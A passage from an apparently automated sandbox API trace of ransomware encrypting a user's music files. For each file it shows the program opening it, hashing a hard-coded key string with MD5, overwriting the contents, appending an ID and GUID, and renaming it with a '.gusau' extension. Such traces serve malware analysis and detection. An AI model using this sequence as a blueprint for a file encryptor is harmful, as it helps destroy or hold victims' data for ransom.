halpmcxz\\music\\ntjyco-pmq3as.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.502] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=36793) returned 1 [0117.502] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.504] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8f93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.505] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.506] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.506] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x8fb9, lpOverlapped=0x0) returned 1 [0117.507] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.507] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.507] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.507] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.508] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.508] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.508] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.508] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.508] GetLastError () returned 0x0 [0117.508] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.508] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8fc0) returned 0x39f9f20 [0117.508] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.508] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x8fb4, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x8fb4, lpOverlapped=0x0) returned 1 [0117.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.508] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8fb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.509] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.509] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.509] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.509] CloseHandle (hObject=0x610) returned 1 [0117.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.510] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NTjyCO-pmQ3AS.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ntjyco-pmq3as.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NTjyCO-pmQ3AS.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ntjyco-pmq3as.mp3.gusau")) returned 1 [0117.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.511] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.511] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.511] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad9e4f0, ftCreationTime.dwHighDateTime=0x1d4c54b, ftLastAccessTime.dwLowDateTime=0x43e4fff0, ftLastAccessTime.dwHighDateTime=0x1d4d4b4, ftLastWriteTime.dwLowDateTime=0x43e4fff0, ftLastWriteTime.dwHighDateTime=0x1d4d4b4, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O841-zc0Cz.m4a", cAlternateFileName="O841-Z~1.M4A")) returned 1 [0117.511] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.512] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.512] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.512] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\O841-zc0Cz.m4a") returned=".m4a" [0117.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\O841-zc0Cz.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\o841-zc0cz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.512] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=1458) returned 1 [0117.512] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.514] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x58c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.514] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.516] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.516] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x5b2, lpOverlapped=0x0) returned 1 [0117.516] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.516] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.516] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.516] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.516] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.516] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.517] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.517] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.517] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.517] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.517] GetLastError () returned 0x0 [0117.517] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.517] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.517] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x5b0) returned 0x39f5430 [0117.517] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.517] WriteFile (in: hFile=0x610, lpBuffer=0x39f5430*, nNumberOfBytesToWrite=0x5ad, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f5430*, lpNumberOfBytesWritten=0x405fb24*=0x5ad, lpOverlapped=0x0) returned 1 [0117.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.517] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.517] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.517] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.517] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.517] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.517] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.518] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.518] CloseHandle (hObject=0x610) returned 1 [0117.518] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.518] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.518] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.518] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\O841-zc0Cz.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\o841-zc0cz.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\O841-zc0Cz.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\o841-zc0cz.m4a.gusau")) returned 1 [0117.519] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.519] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.520] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0cbab0, ftCreationTime.dwHighDateTime=0x1d4c645, ftLastAccessTime.dwLowDateTime=0x5be44940, ftLastAccessTime.dwHighDateTime=0x1d4cb8a, ftLastWriteTime.dwLowDateTime=0x5be44940, ftLastWriteTime.dwHighDateTime=0x1d4cb8a, nFileSizeHigh=0x0, nFileSizeLow=0xa724, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PBGnAJbjKeNYoVmuXsp.wav", cAlternateFileName="PBGNAJ~1.WAV")) returned 1 [0117.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.520] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\PBGnAJbjKeNYoVmuXsp.wav") returned=".wav" [0117.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\PBGnAJbjKeNYoVmuXsp.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\pbgnajbjkenyovmuxsp.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.520] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=42788) returned 1 [0117.520] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.523] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa6fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.523] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.524] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.524] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.525] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xa724, lpOverlapped=0x0) returned 1 [0117.525] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.525] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.525] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.526] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.526] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.526] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.526] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.526] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.527] GetLastError () returned 0x0 [0117.527] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.527] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.527] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa720) returned 0x39f9f20 [0117.527] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.527] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.527] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xa71f, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xa71f, lpOverlapped=0x0) returned 1 [0117.527] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.527] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.528] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.528] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.528] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.528] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.528] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.528] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.528] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.528] CloseHandle (hObject=0x610) returned 1 [0117.529] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.529] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0117.529] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.529] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\PBGnAJbjKeNYoVmuXsp.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\pbgnajbjkenyovmuxsp.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\PBGnAJbjKeNYoVmuXsp.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\pbgnajbjkenyovmuxsp.wav.gusau")) returned 1 [0117.529] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.529] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.530] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9abf53c0, ftCreationTime.dwHighDateTime=0x1d4c861, ftLastAccessTime.dwLowDateTime=0xacae01c0, ftLastAccessTime.dwHighDateTime=0x1d4c682, ftLastWriteTime.dwLowDateTime=0xacae01c0, ftLastWriteTime.dwHighDateTime=0x1d4c682, nFileSizeHigh=0x0, nFileSizeLow=0x1481, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POR XU-fcmkfoFYhwpS_.mp3", cAlternateFileName="PORXU-~1.MP3")) returned 1 [0117.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.530] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.530] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\POR XU-fcmkfoFYhwpS_.mp3") returned=".mp3" [0117.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\POR XU-fcmkfoFYhwpS_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\por xu-fcmkfofyhwps_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.532] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=5249) returned 1 [0117.532] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.535] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x145b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.535] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.536] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.536] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.536] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1481, lpOverlapped=0x0) returned 1 [0117.539] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.539] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.539] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.540] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.540] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.540] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.540] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.540] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.540] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.540] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, 